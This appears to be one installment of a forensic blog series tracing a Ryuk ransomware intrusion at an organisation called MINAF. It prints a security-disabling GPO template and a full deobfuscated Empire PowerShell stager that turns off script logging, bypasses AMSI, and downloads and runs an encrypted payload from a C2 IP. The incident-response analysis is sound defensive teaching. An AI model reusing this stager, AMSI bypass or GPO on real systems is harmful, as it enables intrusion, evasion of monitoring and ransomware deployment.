Series entries: First part, Second part, Third part, Fourth part, Fifth part
In the previous article, we saw how MINAF narrowly avoided a ransomware attack, but we still have a lot of questions to answer. First, finding out the identity of the ransomware group that had affected MINAF.
To do this, Angela converts the MFT of the DC with mftdump.exe and performs a quick search of the v2.exe and v2c.exe files, which seemed a priori those in charge of deploying the ransomware. She hits the spot because she finds the files in the c:\temp\scheduler folder:
Quickly calculates her hashes:
5994df288813a7d9588299c301a8de13479e3ffb630c49308335f20515ffdf57 v2c.exe
b2a304e508415d96f417ed50d26e0b987b7cbd9a77bb345ea48e803b5a7afb49 v2.exe
ffa8722a09829acd7ef8743688947f6ccb58d2ef v2c.exe
7320b34c07206fcaf1319d6ce9bef2b29648a151 v2.exe
eddc0e293b0f0ee90bab106f073a41c9 v2c.exe
91438699bed008be9405995f0a158254 v2.exe
The next thing is to check if they are known. VirusTotal gives you a quick answer:
The bloody Ryuk tried to sneak it in! Ryuk is one of the most active HOR (Human-Operated Ransomware) groups today, with Maze and Sodinokibi responsible for most of the recent attacks on large companies and organizations.
The fact that it is Ryuk gives us an advantage: many of its TTPs (Tactics, Techniques & Procedures) are known, so it should be easier for us to detect and tackle them. In the meantime, Angela continues to check the C:\ temp folder, and finds another GPO with what looks like a Powershell script, let’s say … descriptive:
When examining the script, it is clear that what it does is collect information from the domain structure and deploy the GPO “Cleaner Task”, which we previously found.
The MFT indicates that the files were created at 2:55 p.m. (remember that the MFT works in UTC, and that on November 9 we are no longer in daylight saving time, so Spain is in UTC + 1, hence that one hour lag).
The GPO is scheduled at 2:57 p.m., shortly after the folders in C:\ temp were created. If we review the contents of the GPO, its function is clear: to remove the security measures from all MINAF computers.
For example, the GPO induces these registry changes in its GptTmpl.inf file:
[Unicode]
Unicode=yes
[System Access]
ClearTextPassword = 1
[Registry Values]
MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\CachedLogonsCount=1,"50"
MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ScForceOption=4,0
MACHINE\System\CurrentControlSet\Control\Lsa\DisableDomainCreds=4,0
MACHINE\System\CurrentControlSet\Control\Lsa\LmCompatibilityLevel=4,1
MACHINE\System\CurrentControlSet\Control\Lsa\NoLMHash=4,0
MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin=4,0
MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\EnableInstallerDetection=4,0
MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA=4,0
MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\FilterAdministratorToken=4,0
MACHINE\Software\Policies\Microsoft\Windows NT\DCOM\MachineAccessRestriction=1,"O:BAG:BAD:(A;;CCDCLC;;;WD)(A;;CCDCLC;;;S-1-15-2-1)(A;;CCDCLC;;;S-1-5-32-559)(A;;CCDCLC;;;S-1-5-32-562)(A;;CCDCLC;;;S-1-5-7)"
MACHINE\Software\Policies\Microsoft\Windows NT\DCOM\MachineLaunchRestriction=1,"O:BAG:BAD:(A;;CCDCLCSWRP;;;WD)(A;;CCDCLCSWRP;;;S-1-15-2-1)(A;;CCDCLCSWRP;;;BA)(A;;CCDCLCSWRP;;;S-1-5-32-559)(A;;CCDCLCSWRP;;;S-1-5-32-562)"
MACHINE\System\CurrentControlSet\Control\Lsa\ForceGuest=4,0
[Version]
signature="$CHICAGO$"
Revision=1
And if we open the registry.pol with Registry.pol Viewer, its objective is clear:
We let all the Powershells run, we did not ask for confirmation for the elevation of privileges, we gave all the permissions to WinRM… Angela calls this GPO a “steamroller”, because it has really left the security of the MINAF computers in shambles. And the worst of all is that, when it was executed at 2:57 p.m., it was able to be deployed in a large part of the computers.
Deleting a GPO does not reverse the changes, so the only thing to do now is to delete it to prevent it from spreading and study it carefully to create a GPO that reverses the damage caused by the “steamroller”.
We already know what the attackers have done in DC, but Angela is now interested in how they got in. Since the most common entry way is via RDP (Remote Desktop), she checks the RDP event logs (Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational), quickly finding the culprit:
The attackers logged onto the computer with the dom.adm account (which, as its name suggests, has domain administrator privileges), from IP 10.11.2.14. A quick inventory search associates this computer with maria.happy, an FFP administrative staff now integrated into the MINAF. The fact that it is one of the other two computers affected by the deactivation of the antivirus makes Angela smile: she is glad that the pieces of the puzzle fit together.
A review of the event logs allows her to find several pieces of information: first, the Windows-Windows-GroupPolicy% 4Operational log allows her to determine that the second GPO was available at 16:08h:
It is curious that the GPO was ready at 4:08 p.m., but the attackers planned to deploy the ransomware at 6:15 p.m. (in addition, reviewing the GPO shows that the scheduled task was going to be launched even if the date passed). These types of attackers usually want to deliver the coup de grace as soon as possible, and although Angela does not complain (in fact, this mistake together with her very quick reaction has saved MINAF) she is suspicious.
Looking in the System logs, she finds another anomaly:
All endpoints and servers are configured to authenticate using Kerberos, leaving NTLM reserved only for printers and other network devices that do not know how to speak Kerberos. Angela has no explanation for this event right now, but she notes it down methodically to see if she is able to explain it in the course of the analysis.
The following clue is related to what uncovered the incident: the antivirus. In our case, Windows Defender detected and eliminated a threat at 14:52h:
Apparently Windows Defender (especially thanks to the AMSI – AntiMalware Scan Interface) is proving to be a headache for attackers, which is why they disabled it.
However, the launcher.bat file reminds Angela of an Empire stager (a post-exploitation suite based on Powershell), which is within Empire’s TTPs. And since the MINAF has done its homework, the DC has script logging enabled, so we can go to the Microsoft-Windows-Powershell% 4Operational logs and confirm our suspicions:
If we retrieve the file from the hard disk, we find a string in Base64, which we can clean up with CyberChef and the recipes “From Base64” and “Generic Code Beautify”:
If ($PSVERsiONTABLePSVERsiOnMaJoR - ge 3) {
$b7f4 = [ReF]AssEmbLYGETTyPe('SystemManagementAutomationUtils')"GEtFie`Ld"('cachedGroupPolicySettings', 'N' + 'onPublic,Static');
If ($b7F4) {
$b399 = $B7F4GeTVAlue($nuLl);
If ($b399['ScriptB' + 'lockLogging']) {
$B399['ScriptB' + 'lockLogging']['EnableScriptB' + 'lockLogging'] = 0;
$B399['ScriptB' + 'lockLogging']['EnableScriptBlockInvocationLogging'] = 0
}
$VAl = [COLlectIonsGeneRICDicTIonaRy[STRInG, SYstEmObJecT]]::New();
$ValAdD('EnableScriptB' + 'lockLogging', 0);
$VALAdd('EnableScriptBlockInvocationLogging', 0);
$b399['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB' + 'lockLogging'] = $vaL
} ELSE {
[ScrIptBLoCk]"GetFiE`ld"('signatures', 'N' + 'onPublic,Static')SeTValue($NuLl, (NEW - ObJECt COLlecTIonsGenEriCHaShSeT[StrING]))
}
$REf = [REf]ASSeMblYGEtTYPe('SystemManagementAutomationAmsi' + 'Utils');
$REfGetFielD('amsiInitF' + 'ailed', 'NonPublic,Static')SETVAlUE($nuLL, $TRue);
};
[SyStEMNetSERvICEPOINTMaNAgER]::EXpECT100CoNTinue = 0;
$EbDd = New - OBjeCt SYStemNetWEbClieNt;
$u = 'Mozilla/50 (Windows NT 61; WOW64; Trident/70; rv:110) like Gecko';
$ser = $([TExtENCODiNG]::UnIcOdeGeTSTRInG([CoNvErT]::FroMBASE64StrInG('aAB0AHQAcAA6AC8ALwAxADAAMQAuADEAMwAyAC4AMQAyADIALgAyADEANgA6ADQANAAzADMA')));
$t = '/admin/getphp';
$ebDDHEaderSAdd('User-Agent', $u);
$EbdDPRoxY = [SyStEMNeTWEbRequESt]::DefaultWEbPROXY;
$EbDDPRoXYCReDeNtIaLs = [SYstemNetCrEdentIaLCACHe]::DEfAULtNetWoRKCREdeNTiaLS;
$Script:Proxy = $ebddProxy;
$K = [SYsTEMTExtEncodIng]::ASCIIGetBYtEs('{0:w?Pu1>%x_IhL,}EgSZV54j(Bpe+m');
$R = {
$D, $K = $ARGS;
$S = 0255;
0255|% {
$J = ($J + $S[$_] + $K[$_%$KCounT])%256;
$S[$_], $S[$J] = $S[$J], $S[$_]
};
$D|% {
$I = ($I + 1)%256;
$H = ($H + $S[$I])%256;
$S[$I], $S[$H] = $S[$H], $S[$I];
$_ - bXoR$S[($S[$I] + $S[$H])%256]
}
};
$ebdDHeaDErsADd("Cookie", "DqtXbjDIIPwMwv=LztXCXESYg+zv2Xe3e32HWzi6hE=");
$DaTA = $EbDdDOwNLOadDAtA($sEr + $t);
$iV = $Data[03];
$dATa = $dATa[4$dATAlEnGth];
- JoIN[ChAR[]](& $R $daTA ($IV + $K))|IEX
If we upload the file to VirusTotal we do not find any match, but if we find a string that does not seem random like: “[ScrIptBLoCk]»GetFiE`ld »(‘signatures’, ‘N’ + ‘onPublic, Static’) SeTValue ($ NuLl, (NEW – ObJECt COLlecTIonsGenEriCHaShSeT [StrING]))” and Google it we confirm that it is an Empire stager (a stager is a minimal script whose objective is to launch itself on the computer, contact C2 (command and control) and deploy the main Empire agent).
Angela finds another interesting string in Base64:
FroMBASE64StrInG('aAB0AHQAcAA6AC8ALwAxADAAMQAuADEAMwAyAC4AMQAyADIALgAyADEANgA6ADQANAAzADMA')
If we decode it with Cyberchef we get a well-deserved reward:
The Empire stager is configured to contact the IP 101.143.122.216:4433, in what a priori we assume is its C2. This data is essential because it is the first solid IOC (Indicator Of Compromise) that will allow us to detect if we have more MINAF computers compromised (the existence of the ransomware allows us to determine if they are affected, but now we are investigating the real actions of the attackers).
Angela is already more or less clear about the attackers’ actions on the DC: they logged in from computer 10.11.2.14 with the domain administrator account, tried to launch an Empire stager (caught by the antivirus), disabled the antivirus, copied the GPOs and deployed in order (first “All in One” to leave the computers unsecured, and then “Scheduler” to deploy the ransomware).
A quick search in the proxy logs returns another contact with the IP 101.143.122.216: the IP 10.11.2.14. It is clear that we are pulling the thread in the right direction, and that that computer is our next target. The analysis and evidence of the attack, in the next article…
